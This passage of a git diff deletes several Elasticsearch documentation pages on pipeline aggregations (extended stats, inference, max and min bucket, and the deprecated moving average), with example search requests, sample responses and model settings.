-<1> `bucket_paths` instructs this `extended_stats_bucket` aggregation that we want the calculate stats for the `sales` aggregation in the
-`sales_per_month` date histogram.
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               }
-            }
-         ]
-      },
-      "stats_monthly_sales": {
-         "count": 3,
-         "min": 60.0,
-         "max": 550.0,
-         "avg": 328.3333333333333,
-         "sum": 985.0,
-         "sum_of_squares": 446725.0,
-         "variance": 41105.55555555556,
-         "variance_population": 41105.55555555556,
-         "variance_sampling": 61658.33333333334,
-         "std_deviation": 202.74505063146563,
-         "std_deviation_population": 202.74505063146563,
-         "std_deviation_sampling": 248.3109609609156,
-         "std_deviation_bounds": {
-           "upper": 733.8234345962646,
-           "lower": -77.15676792959795,
-           "upper_population" : 733.8234345962646,
-           "lower_population" : -77.15676792959795,
-           "upper_sampling" : 824.9552552551645,
-           "lower_sampling" : -168.28858858849787
-         }
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/pipeline/inference-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/inference-bucket-aggregation.asciidoc
deleted file mode 100644
index 808bd5ddbd7..00000000000
--- a/docs/reference/aggregations/pipeline/inference-bucket-aggregation.asciidoc
+++ /dev/null
@@ -1,185 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-pipeline-inference-bucket-aggregation]]
-=== {infer-cap} bucket aggregation
-++++
-<titleabbrev>{infer-cap} bucket</titleabbrev>
-++++
-
-experimental::[]
-
-A parent pipeline aggregation which loads a pre-trained model and performs 
-{infer} on the collated result fields from the parent bucket aggregation.
-
-To use the {infer} bucket aggregation, you need to have the same security
-privileges that are required for using the <<get-trained-models>>.
-
-[[inference-bucket-agg-syntax]]
-==== Syntax
-
-A `inference` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "inference": {
-    "model_id": "a_model_for_inference", <1>
-    "inference_config": { <2>
-      "regression_config": {
-        "num_top_feature_importance_values": 2
-      }
-    },
-    "buckets_path": {
-      "avg_cost": "avg_agg", <3>
-      "max_cost": "max_agg"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> The ID of model to use.
-<2> The optional inference config which overrides the model's default settings
-<3> Map the value of `avg_agg` to the model's input field `avg_cost`
-
-
-[[inference-bucket-params]]
-.`inference` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-| `model_id`         | The ID of the model to load and infer against       | Required  | -
-| `inference_config` | Contains the inference type and its options. There are two types: <<inference-agg-regression-opt,`regression`>> and <<inference-agg-classification-opt,`classification`>>  | Optional | -
-| `buckets_path`     | Defines the paths to the input aggregations and maps the aggregation names to the field names expected by the model.
-See <<buckets-path-syntax>> for more details | Required       | -
-|===
-
-
-==== Configuration options for {infer} models
-
-The `inference_config` setting is optional and usually isn't required as the
-pre-trained models come equipped with sensible defaults. In the context of
-aggregations some options can be overridden for each of the two types of model.
-
-[discrete]
-[[inference-agg-regression-opt]]
-===== Configuration options for {regression} models
-
-`num_top_feature_importance_values`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-regression-num-top-feature-importance-values]
-
-[discrete]
-[[inference-agg-classification-opt]]
-===== Configuration options for {classification} models
-
-`num_top_classes`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-num-top-classes]
-
-`num_top_feature_importance_values`::
-(Optional, integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-num-top-feature-importance-values]
-
-`prediction_field_type`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-config-classification-prediction-field-type]
-
-
-[[inference-bucket-agg-example]]
-==== Example
-
-The following snippet aggregates a web log by `client_ip` and extracts a number
-of features via metric and bucket sub-aggregations as input to the {infer}
-aggregation configured with a model trained to identify suspicious client IPs:
-
-[source,console]
--------------------------------------------------
-GET kibana_sample_data_logs/_search
-{
-  "size": 0,
-  "aggs": {
-    "client_ip": { <1>
-      "composite": {
-        "sources": [
-          {
-            "client_ip": {
-              "terms": {
-                "field": "clientip"
-              }
-            }
-          }
-        ]
-      },
-      "aggs": { <2>
-        "url_dc": {
-          "cardinality": {
-            "field": "url.keyword"
-          }
-        },
-        "bytes_sum": {
-          "sum": {
-            "field": "bytes"
-          }
-        },
-        "geo_src_dc": {
-          "cardinality": {
-            "field": "geo.src"
-          }
-        },
-        "geo_dest_dc": {
-          "cardinality": {
-            "field": "geo.dest"
-          }
-        },
-        "responses_total": {
-          "value_count": {
-            "field": "timestamp"
-          }
-        },
-        "success": {
-          "filter": {
-            "term": {
-              "response": "200"
-            }
-          }
-        },
-        "error404": {
-          "filter": {
-            "term": {
-              "response": "404"
-            }
-          }
-        },
-        "error503": {
-          "filter": {
-            "term": {
-              "response": "503"
-            }
-          }
-        },
-        "malicious_client_ip": { <3>
-          "inference": {
-            "model_id": "malicious_clients_model",
-            "buckets_path": {
-              "response_count": "responses_total",
-              "url_dc": "url_dc",
-              "bytes_sum": "bytes_sum",
-              "geo_src_dc": "geo_src_dc",
-              "geo_dest_dc": "geo_dest_dc",
-              "success": "success._count",
-              "error404": "error404._count",
-              "error503": "error503._count"
-            }
-          }
-        }
-      }
-    }
-  }
-}
--------------------------------------------------
-// TEST[skip:setup kibana sample data]
-
-<1> A composite bucket aggregation that aggregates the data by `client_ip`.
-<2> A series of metrics and bucket sub-aggregations.
-<3> {infer-cap} bucket aggregation that contains the model ID and maps the
-aggregation names to the model's input fields.
diff --git a/docs/reference/aggregations/pipeline/max-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/max-bucket-aggregation.asciidoc
deleted file mode 100644
index bb01bb28f2b..00000000000
--- a/docs/reference/aggregations/pipeline/max-bucket-aggregation.asciidoc
+++ /dev/null
@@ -1,120 +0,0 @@
-[[search-aggregations-pipeline-max-bucket-aggregation]]
-=== Max bucket aggregation
-++++
-<titleabbrev>Max bucket</titleabbrev>
-++++
-
-A sibling pipeline aggregation which identifies the bucket(s) with the maximum value of a specified metric in a sibling aggregation
-and outputs both the value and the key(s) of the bucket(s). The specified metric must be numeric and the sibling aggregation must
-be a multi-bucket aggregation.
-
-==== Syntax
-
-A `max_bucket` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "max_bucket": {
-    "buckets_path": "the_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[max-bucket-params]]
-.`max_bucket` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to find the maximum for (see <<buckets-path-syntax>> for more
- details) |Required |
-|`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional | `skip`
- |`format` |format to apply to the output value of this aggregation |Optional |`null` 
-|===
-
-The following snippet calculates the maximum of the total monthly `sales`:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        }
-      }
-    },
-    "max_monthly_sales": {
-      "max_bucket": {
-        "buckets_path": "sales_per_month>sales" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this max_bucket aggregation that we want the maximum value of the `sales` aggregation in the
-`sales_per_month` date histogram.
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               }
-            }
-         ]
-      },
-      "max_monthly_sales": {
-          "keys": ["2015/01/01 00:00:00"], <1>
-          "value": 550.0
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-<1> `keys` is an array of strings since the maximum value may be present in multiple buckets
diff --git a/docs/reference/aggregations/pipeline/min-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/min-bucket-aggregation.asciidoc
deleted file mode 100644
index c2185303ab7..00000000000
--- a/docs/reference/aggregations/pipeline/min-bucket-aggregation.asciidoc
+++ /dev/null
@@ -1,120 +0,0 @@
-[[search-aggregations-pipeline-min-bucket-aggregation]]
-=== Min bucket aggregation
-++++
-<titleabbrev>Min bucket</titleabbrev>
-++++
-
-A sibling pipeline aggregation which identifies the bucket(s) with the minimum value of a specified metric in a sibling aggregation
-and outputs both the value and the key(s) of the bucket(s). The specified metric must be numeric and the sibling aggregation must
-be a multi-bucket aggregation.
-
-==== Syntax
-
-A `min_bucket` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "min_bucket": {
-    "buckets_path": "the_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[min-bucket-params]]
-.`min_bucket` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to find the minimum for (see <<buckets-path-syntax>> for more
- details) |Required |
- |`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional | `skip`
- |`format` |format to apply to the output value of this aggregation |Optional |`null`
-|===
-
-The following snippet calculates the minimum of the total monthly `sales`:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        }
-      }
-    },
-    "min_monthly_sales": {
-      "min_bucket": {
-        "buckets_path": "sales_per_month>sales" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this min_bucket aggregation that we want the minimum value of the `sales` aggregation in the
-`sales_per_month` date histogram.
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               }
-            }
-         ]
-      },
-      "min_monthly_sales": {
-          "keys": ["2015/02/01 00:00:00"], <1>
-          "value": 60.0
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-<1> `keys` is an array of strings since the minimum value may be present in multiple buckets
diff --git a/docs/reference/aggregations/pipeline/movavg-aggregation.asciidoc b/docs/reference/aggregations/pipeline/movavg-aggregation.asciidoc
deleted file mode 100644
index 60a5d301fb1..00000000000
--- a/docs/reference/aggregations/pipeline/movavg-aggregation.asciidoc
+++ /dev/null
@@ -1,653 +0,0 @@
-[[search-aggregations-pipeline-movavg-aggregation]]
-=== Moving average aggregation
-++++
-<titleabbrev>Moving average</titleabbrev>
-++++
-
-deprecated:[6.4.0, "The Moving Average aggregation has been deprecated in favor of the more general <<search-aggregations-pipeline-movfn-aggregation,Moving Function Aggregation>>.  The new Moving Function aggregation provides all the same functionality as the Moving Average aggregation, but also provides more flexibility."]
-
-Given an ordered series of data, the Moving Average aggregation will slide a window across the data and emit the average
-value of that window.  For example, given the data `[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]`, we can calculate a simple moving
-average with windows size of `5` as follows:
-
-- (1 + 2 + 3 + 4 + 5) / 5  = 3
-- (2 + 3 + 4 + 5 + 6) / 5  = 4
-- (3 + 4 + 5 + 6 + 7) / 5 = 5
-- etc
-
-Moving averages are a simple method to smooth sequential data.  Moving averages are typically applied to time-based data,
-such as stock prices or server metrics.  The smoothing can be used to eliminate high frequency fluctuations or random noise,
-which allows the lower frequency trends to be more easily visualized, such as seasonality.
-
-==== Syntax
-
-A `moving_avg` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "moving_avg": {
-    "buckets_path": "the_sum",
-    "model": "holt",
-    "window": 5,
-    "gap_policy": "insert_zeros",
-    "settings": {
-      "alpha": 0.8
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-.`moving_avg` Parameters
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |Path to the metric of interest (see <<buckets-path-syntax, `buckets_path` Syntax>> for more details |Required |
-|`model` |The moving average weighting model that we wish to use |Optional |`simple`
-|`gap_policy` |The policy to apply when gaps are found in the data. See <<gap-policy>>. |Optional |`skip`
-|`window` |The size of window to "slide" across the histogram. |Optional |`5`
-|`minimize` |If the model should be algorithmically minimized.  See <<movavg-minimizer, Minimization>> for more
- details |Optional |`false` for most models
-|`settings` |Model-specific settings, contents which differ depending on the model specified. |Optional |
-|===
-
-`moving_avg` aggregations must be embedded inside of a `histogram` or `date_histogram` aggregation.  They can be
-embedded like any other metric aggregation:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {                                <1>
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }                 <2>
-        },
-        "the_movavg": {
-          "moving_avg": { "buckets_path": "the_sum" } <3>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-<1> A `date_histogram` named "my_date_histo" is constructed on the "timestamp" field, with one-day intervals
-<2> A `sum` metric is used to calculate the sum of a field.  This could be any metric (sum, min, max, etc)
-<3> Finally, we specify a `moving_avg` aggregation which uses "the_sum" metric as its input.
-
-Moving averages are built by first specifying a `histogram` or `date_histogram` over a field.  You can then optionally
-add normal metrics, such as a `sum`, inside of that histogram.  Finally, the `moving_avg` is embedded inside the histogram.
-The `buckets_path` parameter is then used to "point" at one of the sibling metrics inside of the histogram (see
-<<buckets-path-syntax>> for a description of the syntax for `buckets_path`.
-
-An example response from the above aggregation may look like:
-
-[source,js]
---------------------------------------------------
-{
-  "took": 11,
-  "timed_out": false,
-  "_shards": ...,
-  "hits": ...,
-  "aggregations": {
-    "my_date_histo": {
-      "buckets": [
-        {
-          "key_as_string": "2015/01/01 00:00:00",
-          "key": 1420070400000,
-          "doc_count": 3,
-          "the_sum": {
-            "value": 550.0
-          }
-        },
-        {
-          "key_as_string": "2015/02/01 00:00:00",
-          "key": 1422748800000,
-          "doc_count": 2,
-          "the_sum": {
-            "value": 60.0
-          },
-          "the_movavg": {
-            "value": 550.0
-          }
-        },
-        {
-          "key_as_string": "2015/03/01 00:00:00",
-          "key": 1425168000000,
-          "doc_count": 2,
-          "the_sum": {
-            "value": 375.0
-          },
-          "the_movavg": {
-            "value": 305.0
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-
-==== Models
-
-The `moving_avg` aggregation includes four different moving average "models".  The main difference is how the values in the
-window are weighted.  As data-points become "older" in the window, they may be weighted differently.  This will
-affect the final average for that window.
-
-Models are specified using the `model` parameter.  Some models may have optional configurations which are specified inside
-the `settings` parameter.
-
-===== Simple
-
-The `simple` model calculates the sum of all values in the window, then divides by the size of the window.  It is effectively
-a simple arithmetic mean of the window.  The simple model does not perform any time-dependent weighting, which means
-the values from a `simple` moving average tend to "lag" behind the real data.
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_avg": {
-            "buckets_path": "the_sum",
-            "window": 30,
-            "model": "simple"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-A `simple` model has no special settings to configure
-
-The window size can change the behavior of the moving average.  For example, a small window (`"window": 10`) will closely
-track the data and only smooth out small scale fluctuations:
-
-[[movavg_10window]]
-.Moving average with window of size 10
-image::images/pipeline_movavg/movavg_10window.png[]
-
-In contrast, a `simple` moving average with larger window (`"window": 100`) will smooth out all higher-frequency fluctuations,
-leaving only low-frequency, long term trends.  It also tends to "lag" behind the actual data by a substantial amount:
-
-[[movavg_100window]]
-.Moving average with window of size 100
-image::images/pipeline_movavg/movavg_100window.png[]
-
-
-==== Linear
-
-The `linear` model assigns a linear weighting to points in the series, such that "older" datapoints (e.g. those at
-the beginning of the window) contribute a linearly less amount to the total average.  The linear weighting helps reduce
-the "lag" behind the data's mean, since older points have less influence.
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_avg": {
-            "buckets_path": "the_sum",
-            "window": 30,
-            "model": "linear"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-A `linear` model has no special settings to configure
-
-Like the `simple` model, window size can change the behavior of the moving average.  For example, a small window (`"window": 10`)
-will closely track the data and only smooth out small scale fluctuations:
-
-[[linear_10window]]
-.Linear moving average with window of size 10
-image::images/pipeline_movavg/linear_10window.png[]
-
-In contrast, a `linear` moving average with larger window (`"window": 100`) will smooth out all higher-frequency fluctuations,
-leaving only low-frequency, long term trends.  It also tends to "lag" behind the actual data by a substantial amount,
-although typically less than the `simple` model:
-
-[[linear_100window]]
-.Linear moving average with window of size 100
-image::images/pipeline_movavg/linear_100window.png[]
-
-==== EWMA (Exponentially Weighted)
-
-The `ewma` model (aka "single-exponential") is similar to the `linear` model, except older data-points become exponentially less important,
-rather than linearly less important.  The speed at which the importance decays can be controlled with an `alpha`
-setting.  Small values make the weight decay slowly, which provides greater smoothing and takes into account a larger
-portion of the window.  Larger values make the weight decay quickly, which reduces the impact of older values on the
-moving average.  This tends to make the moving average track the data more closely but with less smoothing.
-
-The default value of `alpha` is `0.3`, and the setting accepts any float from 0-1 inclusive.
-
-The EWMA model can be <<movavg-minimizer, Minimized>>
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_avg": {
-            "buckets_path": "the_sum",
-            "window": 30,
-            "model": "ewma",
-            "settings": {
-              "alpha": 0.5
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-[[single_0.2alpha]]
-.EWMA with window of size 10, alpha = 0.2
-image::images/pipeline_movavg/single_0.2alpha.png[]
-
-[[single_0.7alpha]]
-.EWMA with window of size 10, alpha = 0.7
-image::images/pipeline_movavg/single_0.7alpha.png[]
-
-==== Holt-Linear
-
-The `holt` model (aka "double exponential") incorporates a second exponential term which
-tracks the data's trend.  Single exponential does not perform well when the data has an underlying linear trend.  The
-double exponential model calculates two values internally: a "level" and a "trend".
-
-The level calculation is similar to `ewma`, and is an exponentially weighted view of the data.  The difference is
-that the previously smoothed value is used instead of the raw value, which allows it to stay close to the original series.
-The trend calculation looks at the difference between the current and last value (e.g. the slope, or trend, of the
-smoothed data).  The trend value is also exponentially weighted.
-
-Values are produced by multiplying the level and trend components.
-
-The default value of `alpha` is `0.3` and `beta` is `0.1`. The settings accept any float from 0-1 inclusive.
-
-The Holt-Linear model can be <<movavg-minimizer, Minimized>>
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_avg": {
-            "buckets_path": "the_sum",
-            "window": 30,
-            "model": "holt",
-            "settings": {
-              "alpha": 0.5,
-              "beta": 0.5
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-In practice, the `alpha` value behaves very similarly in `holt` as `ewma`: small values produce more smoothing
-and more lag, while larger values produce closer tracking and less lag.  The value of `beta` is often difficult
-to see.  Small values emphasize long-term trends (such as a constant linear trend in the whole series), while larger
-values emphasize short-term trends.  This will become more apparently when you are predicting values.
-
-[[double_0.2beta]]
-.Holt-Linear moving average with window of size 100, alpha = 0.5, beta = 0.2
-image::images/pipeline_movavg/double_0.2beta.png[]
-
-[[double_0.7beta]]
-.Holt-Linear moving average with window of size 100, alpha = 0.5, beta = 0.7
-image::images/pipeline_movavg/double_0.7beta.png[]
-
-==== Holt-Winters
-
-The `holt_winters` model (aka "triple exponential") incorporates a third exponential term which
-tracks the seasonal aspect of your data.  This aggregation therefore smooths based on three components: "level", "trend"
-and "seasonality".
-
-The level and trend calculation is identical to `holt` The seasonal calculation looks at the difference between
-the current point, and the point one period earlier.
-
-Holt-Winters requires a little more handholding than the other moving averages.  You need to specify the "periodicity"
-of your data: e.g. if your data has cyclic trends every 7 days, you would set `period: 7`.  Similarly if there was
-a monthly trend, you would set it to `30`.  There is currently no periodicity detection, although that is planned
-for future enhancements.
-
-There are two varieties of Holt-Winters: additive and multiplicative.
-
-===== "Cold Start"
-
-Unfortunately, due to the nature of Holt-Winters, it requires two periods of data to "bootstrap" the algorithm.  This
-means that your `window` must always be *at least* twice the size of your period.  An exception will be thrown if it
-isn't.  It also means that Holt-Winters will not emit a value for the first `2 * period` buckets; the current algorithm
-does not backcast.
-
-[[holt_winters_cold_start]]
-.Holt-Winters showing a "cold" start where no values are emitted
-image::images/pipeline_movavg/triple_untruncated.png[]
-
-Because the "cold start" obscures what the moving average looks like, the rest of the Holt-Winters images are truncated
-to not show the "cold start".  Just be aware this will always be present at the beginning of your moving averages!
-
-===== Additive Holt-Winters
-
-Additive seasonality is the default; it can also be specified by setting `"type": "add"`.  This variety is preferred
-when the seasonal affect is additive to your data. E.g. you could simply subtract the seasonal effect to "de-seasonalize"
-your data into a flat trend.
-
-The default values of `alpha` and `gamma` are `0.3` while `beta` is `0.1`.  The settings accept any float from 0-1 inclusive.
-The default value of `period` is `1`.
-
-The additive Holt-Winters model can be <<movavg-minimizer, Minimized>>
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_avg": {
-            "buckets_path": "the_sum",
-            "window": 30,
-            "model": "holt_winters",
-            "settings": {
-              "type": "add",
-              "alpha": 0.5,
-              "beta": 0.5,
-              "gamma": 0.5,
-              "period": 7
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-[[holt_winters_add]]
-.Holt-Winters moving average with window of size 120, alpha = 0.5, beta = 0.7, gamma = 0.3, period = 30
-image::images/pipeline_movavg/triple.png[]
-
-===== Multiplicative Holt-Winters
-
-Multiplicative is specified by setting `"type": "mult"`.  This variety is preferred when the seasonal affect is
-multiplied against your data. E.g. if the seasonal affect is x5 the data, rather than simply adding to it.
-
-The default values of `alpha` and `gamma` are `0.3` while `beta` is `0.1`.  The settings accept any float from 0-1 inclusive.
-The default value of `period` is `1`.
-
-The multiplicative Holt-Winters model can be <<movavg-minimizer, Minimized>>
-
-[WARNING]
-======
-Multiplicative Holt-Winters works by dividing each data point by the seasonal value.  This is problematic if any of
-your data is zero, or if there are gaps in the data (since this results in a divid-by-zero).  To combat this, the
-`mult` Holt-Winters pads all values by a very small amount (1*10^-10^) so that all values are non-zero.  This affects
-the result, but only minimally.  If your data is non-zero, or you prefer to see `NaN` when zero's are encountered,
-you can disable this behavior with `pad: false`
-======
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_avg": {
-            "buckets_path": "the_sum",
-            "window": 30,
-            "model": "holt_winters",
-            "settings": {
-              "type": "mult",
-              "alpha": 0.5,
-              "beta": 0.5,
-              "gamma": 0.5,
-              "period": 7,
-              "pad": true
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-==== Prediction
-
-experimental[]
-
-All the moving average model support a "prediction" mode, which will attempt to extrapolate into the future given the
-current smoothed, moving average.  Depending on the model and parameter, these predictions may or may not be accurate.
-
-Predictions are enabled by adding a `predict` parameter to any moving average aggregation, specifying the number of
-predictions you would like appended to the end of the series.  These predictions will be spaced out at the same interval
-as your buckets:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_avg": {
-            "buckets_path": "the_sum",
-            "window": 30,
-            "model": "simple",
-            "predict": 10
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-The `simple`, `linear` and `ewma` models all produce "flat" predictions: they essentially converge on the mean
-of the last value in the series, producing a flat:
-
-[[simple_prediction]]
-.Simple moving average with window of size 10, predict = 50
-image::images/pipeline_movavg/simple_prediction.png[]
-
-In contrast, the `holt` model can extrapolate based on local or global constant trends.  If we set a high `beta`
-value, we can extrapolate based on local constant trends (in this case the predictions head down, because the data at the end
-of the series was heading in a downward direction):
-
-[[double_prediction_local]]
-.Holt-Linear moving average with window of size 100, predict = 20, alpha = 0.5, beta = 0.8
-image::images/pipeline_movavg/double_prediction_local.png[]
-
-In contrast, if we choose a small `beta`, the predictions are based on the global constant trend.  In this series, the
-global trend is slightly positive, so the prediction makes a sharp u-turn and begins a positive slope:
-
-[[double_prediction_global]]
-.Double Exponential moving average with window of size 100, predict = 20, alpha = 0.5, beta = 0.1
-image::images/pipeline_movavg/double_prediction_global.png[]
-
-The `holt_winters` model has the potential to deliver the best predictions, since it also incorporates seasonal
-fluctuations into the model:
-
-[[holt_winters_prediction_global]]
-.Holt-Winters moving average with window of size 120, predict = 25, alpha = 0.8, beta = 0.2, gamma = 0.7, period = 30
-image::images/pipeline_movavg/triple_prediction.png[]
-
-[[movavg-minimizer]]
-==== Minimization
-
-Some of the models (EWMA, Holt-Linear, Holt-Winters) require one or more parameters to be configured.  Parameter choice
-can be tricky and sometimes non-intuitive.  Furthermore, small deviations in these parameters can sometimes have a drastic
-effect on the output moving average.
-
-For that reason, the three "tunable" models can be algorithmically *minimized*.  Minimization is a process where parameters
